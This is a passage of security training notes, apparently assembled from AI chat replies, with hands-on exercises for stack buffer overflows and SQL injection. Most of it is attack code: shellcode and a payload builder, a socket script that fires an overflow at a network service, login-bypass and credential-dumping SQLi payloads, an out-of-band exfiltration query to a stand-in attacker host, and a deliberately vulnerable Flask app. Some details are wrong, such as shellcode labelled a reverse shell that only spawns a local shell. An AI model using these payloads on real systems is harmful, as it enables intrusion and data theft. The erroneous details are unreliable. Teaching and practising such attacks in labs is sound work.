Practical exercises and real-world exploitation scenarios for Buffer Overflow.

Buffer Overflow Exploitation - Notes

1. What is a Buffer Overflow?

A **buffer overflow** occurs when a program writes more data into a buffer (fixed-size memory allocation) than it can hold, leading to adjacent memory corruption. This vulnerability can allow an attacker to:

- **Crash the program** (Denial of Service)
- **Modify program execution** (Control flow hijacking)
- **Execute arbitrary code** (Remote Code Execution)

Example of a Buffer Overflow:

```
#include <stdio.h>
#include <string.h>

void vulnerable_function(char *user_input) {
    char buffer[64];  // Fixed-size buffer
    strcpy(buffer, user_input);  // No bounds checking!
}

int main(int argc, char *argv[]) {
    vulnerable_function(argv[1]);  // Takes input from command-line
    return 0;
}
```

- The `strcpy()` function does not check the size of `user_input`, allowing an attacker to overflow the buffer.
- If an attacker provides an input longer than 64 bytes, it will overwrite adjacent memory, possibly modifying the return address of the function.

2. Stack vs. Heap Overflow

Buffer overflows can occur in two main memory regions: **Stack** and **Heap**.

Stack Buffer Overflow

- Happens when a function writes beyond a local variable stored on the stack.
- It can **overwrite return addresses**, allowing attackers to hijack execution flow.
- **Example:** A function that stores user input in a fixed-size buffer without bounds checking.

Heap Buffer Overflow

- Occurs when data written to a dynamically allocated buffer on the heap overflows.
- It can **corrupt adjacent heap metadata** and lead to arbitrary code execution.
- **Example:** Overwriting heap memory structures such as **malloc()** metadata to gain control.

Comparison Table

Feature	Stack Overflow	Heap Overflow
Location	Stack (LIFO structure)	Heap (Dynamic memory)
Exploitation Impact	Overwrites return address	Corrupts heap structures
Common Attack	Control function return flow	Modify function pointers / Vtable
Detection	Easier to detect (stack protections)	Harder to detect (depends on malloc behavior)

Practical Exercises: Buffer Overflow

Exercise 1: Basic Stack Buffer Overflow

Objective: Crash a simple program and find the overflow offset.

Step 1: Create a Vulnerable Program

Create a C file (`bof_vuln.c`):

```
#include <stdio.h>
#include <string.h>

void vuln_function(char *user_input) {
    char buffer[64];  // Fixed buffer size
    strcpy(buffer, user_input);  // Unsafe function
}

int main(int argc, char *argv[]) {
    if (argc < 2) {
        printf("Usage: %s <input>\n", argv[0]);
        return 1;
    }
    vuln_function(argv[1]);
    printf("Execution finished!\n");
    return 0;
}
```

Step 2: Compile Without Protections

```
gcc -fno-stack-protector -z execstack -o bof_vuln bof_vuln.c
```

Step 3: Crash the Program

Run the program with long input:

```
./bof_vuln $(python3 -c 'print("A" * 100)')
```

If the program crashes, check with **GDB**:

```
gdb bof_vuln
```

```
(gdb) run $(python3 -c 'print("A"*100)')
```

Use `info registers` to check if **EIP/RIP** was overwritten.

NOTE:

- EIP (Extended Instruction Pointer) in 32-bit systems
- RIP (Register Instruction Pointer) in 64-bit systems

Exercise 2: Finding the Overflow Offset

Instead of random "A"s, generate a unique pattern: (You need metasploit. If it fails, check **Appendix 1**)

```
pattern_create.rb -l 100
```

Run:

```
./bof_vuln $(python3 -c 'print("<generated_pattern>")')
```

Find the exact offset:

```
pattern_offset.rb <EIP_value>
```

If the offset is, for example, **76**, this means we control **EIP at byte 76**.

Exercise 3: Exploiting the Buffer Overflow

Objective: Inject shellcode and gain a shell.

Step 1: Create Shellcode

We use a **reverse shell** payload (for Linux x86):

```
shellcode =  b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\
x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
```

Step 2: Construct Exploit Payload

```
import struct

offset = 76  # Found earlier
nop_sled = b"\x90" * 16  # Padding before shellcode
return_address = struct.pack("<I", 0xffffd600)  # Replace with actual address

payload = b"A" * offset + return_address + nop_sled + shellcode

print(payload.decode("latin1"))  # Print exploit payload
```

Step 3: Run Exploit

```
./bof_vuln $(python3 exploit.py)
```

If successful, it should **spawn a shell**.

Advanced Challenges

Exercise 4: Bypassing Stack Protections

If **Stack Canaries** are enabled (`-fstack-protector`), try:

- **Format String Attacks** (`%x %x %x`)
- **Leaking Canaries** using `printf()`

Exercise 5: Bypassing ASLR

Run:

```
cat /proc/sys/kernel/randomize_va_space
```

If ASLR is enabled (`1` or `2`), we need **ROP (Return Oriented Programming)** instead of direct shellcode.

Real-World Exploitation Scenarios

Scenario 1: Exploiting a Network Service

Many services use vulnerable **C programs** with buffer overflows.

Target: Network Service

Assume a **vulnerable TCP server**:

```
void process_input(char *input) {
    char buffer[128];
    strcpy(buffer, input);  // Vulnerable!
}
```

We can write a **Python exploit** to send malicious input:

```
import socket

host = "192.168.1.100"
port = 4444

payload = b"A" * 128 + b"\x90" * 16 + shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(payload)
s.close()

print("[+] Exploit sent!")
```

If successful, the attacker gains a shell!

Scenario 2: Exploiting a Web Application

If a web app has a **C backend vulnerable to buffer overflow**, we can:

- Find input fields that pass unsanitized data to the C function.
- Use a **long GET/POST request** to trigger the overflow.

```
curl -X POST "http://target.com/login" -d "username=$(python3 -c
'print("A"*200)')"
```

Next Steps

- **ROP (Return Oriented Programming)** for modern exploitation.
- **Heap Overflows** and exploiting memory management.
- **Bypassing DEP/NX** with JIT spraying.

Would you like an advanced **ROP Chain Exploitation** tutorial?

SQL Injection (SQLi)

SQL Injection (SQLi) is a **web application vulnerability** where an attacker injects **malicious SQL queries** to interact with a database, allowing unauthorized access, data theft, or even system takeover.

Types of SQL Injection

Union-Based SQL Injection

- Uses the `UNION` SQL operator to combine results from multiple queries.
- **Example:**

```
SELECT username, password FROM users WHERE id = 1 UNION SELECT user(),
database();
```

Payload for vulnerable login page:

```
' UNION SELECT username, password FROM users--
```

Error-Based SQL Injection

- Exploits database error messages to extract information.
- **Example:**

```
' OR 1=1; --
```

If the app returns an SQL error, it reveals **database details**.

Blind SQL Injection

- No visible errors, but true/false conditions reveal information.

- **Boolean-Based:**

```
' AND 1=1; --  (Returns normal page)
' AND 1=2; --  (Returns different page)
```

- **Time-Based:**

```
' OR IF(SLEEP(5),1,0); --  (Delays response by 5 seconds)
```

Out-of-Band SQL Injection

- Uses **DNS or HTTP requests** to exfiltrate data.
- Example (exfiltrates data via DNS):

```
' UNION SELECT LOAD_FILE('//attacker.com/payload.txt'); --
```

How to Identify SQL Injection

Check for Error Messages

Try inserting:

```
'
```

If an error appears (`syntax error`), the application might be vulnerable.

Check for Boolean Responses

Enter:

```
' OR 1=1 --
```

- If it **logs in → Vulnerable**
- If it **denies access → Not vulnerable**

Use SQLi Payloads

Test using SQLMap:

```
sqlmap -u "http://target.com/login.php?id=1" --dbs
```

Exploiting SQL Injection

Extracting Database Information

Find the database name:

```
' UNION SELECT database(), user(); --
```

Find tables:

```
' UNION SELECT table_name FROM information_schema.tables WHERE
table_schema=database(); --
```

Find columns in the **users** table:

```
' UNION SELECT column_name FROM information_schema.columns WHERE
table_name='users'; --
```

Dumping User Credentials

```
' UNION SELECT username, password FROM users; --
```

Writing an SQL Injection Exploit (Python)

```
import requests

url = "http://target.com/login.php"
payload = "' OR 1=1 -- "

data = {
    "username": payload,
    "password": "password"
}

response = requests.post(url, data=data)

if "Welcome" in response.text:
    print("[+] SQL Injection successful! Logged in as admin.")
else:
    print("[-] Exploit failed.")
```

How to Prevent SQL Injection

Vulnerable Code	Secure Code
`query = "SELECT * FROM users WHERE username = '" + user + "';"`	`query = "SELECT * FROM users WHERE username = ?" (Prepared Statements)`
Using direct user input in queries	Using **parameterized queries**
Concatenating SQL strings	Using **ORMs** like SQLAlchemy

Next Steps

- **Automate SQLi using SQLMap**
- **Bypass WAF using advanced payloads**
- **Use second-order SQL Injection**

working example of an SQL Injection vulnerability that you can test using a Flask-based web application with a vulnerable login system.

Steps to Set Up the SQL Injection Lab

Install Required Packages

Make sure you have Python installed, then install Flask and SQLite:

```
pip install flask sqlite3
```

Create the Vulnerable Web Application

Save the following code as **`app.py`**:

```
from flask import Flask, request, render_template_string
import sqlite3

app = Flask(__name__)

# Create a simple SQLite database
def init_db():
    conn = sqlite3.connect('test.db')
    cursor = conn.cursor()
    cursor.execute('''CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY,
username TEXT, password TEXT)''')

    # Insert test users
    cursor.execute("INSERT INTO users (username, password) VALUES ('admin',
'admin123')")
    cursor.execute("INSERT INTO users (username, password) VALUES ('user',
'password')")
    conn.commit()
    conn.close()

init_db()

# Vulnerable Login Page
@app.route("/", methods=["GET", "POST"])
def login():
    error = None
    if request.method == "POST":
        username = request.form["username"]
        password = request.form["password"]

        conn = sqlite3.connect("test.db")
        cursor = conn.cursor()

        #    VULNERABLE SQL QUERY    (Concatenates user input directly)
        query = f"SELECT * FROM users WHERE username='{username}' AND
password='{password}'"
        cursor.execute(query)
        user = cursor.fetchone()
        conn.close()
```

```
        if user:
            return f"Welcome {user[1]}! You are logged in."
        else:
            error = "Invalid credentials!"

    return render_template_string("""
        <h2>Login</h2>
        <form method="POST">
            Username: <input type="text" name="username"><br>
            Password: <input type="password" name="password"><br>
            <input type="submit" value="Login">
        </form>
        <p>{{ error }}</p>
    """, error=error)

if __name__ == "__main__":
    app.run(debug=True)
```

Run the Vulnerable Application

Start the web app:

```
python app.py
```

- The app runs on `http://127.0.0.1:5000`
- Open in a browser and test the login form.

Performing SQL Injection

Try logging in with:

```
' OR 1=1 --
```

- **Username**: `' OR 1=1 --`
- **Password**: (leave empty)

Result: You will be logged in as "admin" without knowing the password!

Extracting User Data Using SQL Injection

Try entering:

```
' UNION SELECT 1, username, password FROM users --
```

- **Username:** `' UNION SELECT 1, username, password FROM users --`
- **Password:** (leave empty)

Result: It will display **all usernames and passwords** from the database.

Fixing the Vulnerability

To prevent SQL injection, use **prepared statements**:

```
# Secure query with parameterized SQL
cursor.execute("SELECT * FROM users WHERE username=? AND password=?", (username, password))
```

What's Next?

- **Teach Advanced SQL Injection** (Boolean-based, Blind SQLi, etc.)
- **Automate SQLi using SQLMap**:

  ```
  sqlmap -u "http://127.0.0.1:5000/" --data "username=admin&password=admin" --dbs
  ```

- **Secure Coding Practices**

Would you like **SQLi challenges** for students?

----------APPENDIX 1----------

The `pattern_create.rb` and `pattern_offset.rb` commands are part of **Metasploit's** `msf-pattern_create` and `msf-pattern_offset` tools, which help find buffer overflow offsets.

Since you're getting **"command not found,"** you likely need to use the correct command or install Metasploit.

Correct Commands in Kali Linux

Instead of `pattern_create.rb`, use:

```
msf-pattern_create -l 100
```

And instead of `pattern_offset.rb`, use:

```
msf-pattern_offset -q <EIP_value>
```

where `<EIP_value>` is the memory address overwritten in the crash.

If Metasploit Is Not Installed

If `msf-pattern_create` is still not found, install Metasploit:

```
sudo apt update
sudo apt install metasploit-framework -y
```

Then, try again:

```
msf-pattern_create -l 100
```

Alternative: Generate Pattern Without Metasploit

If you don't want to use Metasploit, you can create the pattern manually with Python:

```
import string
import itertools

# Generate a unique pattern
pattern = "".join("".join(x) for x in itertools.product(string.ascii_uppercase,
string.ascii_lowercase, string.digits))[:100]
print(pattern)
```

And to find the offset:

```
def find_offset(crash_value):
    pattern = "".join("".join(x) for x in
itertools.product(string.ascii_uppercase, string.ascii_lowercase,
string.digits))
    return pattern.find(crash_value)

print(find_offset("41414141"))  # Replace with actual crashed EIP
```